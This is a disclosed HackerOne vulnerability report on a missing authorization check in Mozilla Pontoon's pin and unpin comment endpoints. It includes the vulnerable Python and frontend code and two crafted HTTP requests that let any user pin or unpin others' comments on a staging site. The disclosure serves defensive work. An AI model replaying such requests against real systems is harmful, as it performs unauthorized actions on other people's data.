[Privilege Escalation] User can Pin|Unpin Any Comment on Any Project or Locale
Low
Vulnerability Details
Hi, team. There is a feature to Pin and Unpin comments of translations or entities, but this functionality is only available for privileged users (i.e., Project Manager). Upon checking the backend code for this functionality, I realized that any user can Pin|Unpin any comment on any translation or entity because there are no checks.
## Steps To Reproduce:
- Go to `https://mozilla-pontoon-staging.herokuapp.com/` and Login to your account.
- Click on teams and select any language.
███
- Now, from the next window, select any project.
██████████
- Then select any Resource from the next menu.
█████████
- After that, you will see a list of strings to be translated.
█████
- On the Right side, you will see a comments section.
████████
- Now prepare your proxy to capture requests and post some comments.
- You can check that there is no option to Pin or Unpin comment because Frontend Code is checking for user permissions and Based on that it shows button.
**Reference:** `https://github.com/mozilla/pontoon/blob/45a69293623e56973c9a4fd5eb8b6618aca44813/translate/src/modules/comments/components/Comment.tsx#L81`
```javascript
{canPin ? (
comment.pinned ? (
// Unpin Button
<Localized
id='comments-Comment--unpin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Unpin comment'
onClick={handlePinAndUnpin}
>
{'UNPIN'}
</button>
</Localized>
) : (
// Pin Button
<Localized
id='comments-Comment--pin-button'
attrs={{ title: true }}
>
<button
className='pin-button'
title='Pin comment'
onClick={handlePinAndUnpin}
>
{'PIN'}
</button>
</Localized>
)
) : null}
```
- In proxy history, you will see a request to the`/get-team-comments/` endpoint. Like this one.
███████
- In response to this request, you will see all comments with their IDs.
██████████
- Copy any one Comment ID.
- Now, grab your `Session Cookies`, `Anti-CSRF token`, `Comment ID` and replace them in this request.
```
POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ████████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
```
- Send the request, and you will see a `200 OK` response.
- In the browser, reload the page and check that your comment has been successfully pinned.
█████
- Now to unpin the comment, use this request.
```
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
comment_id=25725
```
- Now, comment from your other account on any project or translation and replace that comment ID in these requests to Pin or Unpin.
- This way, a user can Pin|Unpin any user's comment on any project.
## Supporting Material/References:
- This is the vulnerable code.
**Link:** `https://github.com/mozilla/pontoon/blob/main/pontoon/base/views.py#L685-L715`
```python
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
"""Update a comment as pinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = True
comment.save()
_send_pin_comment_notifications(request.user, comment)
return JsonResponse({"status": True})
@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
"""Update a comment as unpinned"""
comment_id = request.POST.get("comment_id", None)
if not comment_id:
return JsonResponse({"status": False, "message": "Bad Request"}, status=400)
comment = get_object_or_404(Comment, id=comment_id)
comment.pinned = False
comment.save()
return JsonResponse({"status": True})
```
## Impact
A user can perform actions that he is not intended to do.
Actions
View on HackerOneReport Stats
- Report ID: 3025797
- State: Closed
- Substate: resolved
- Upvotes: 1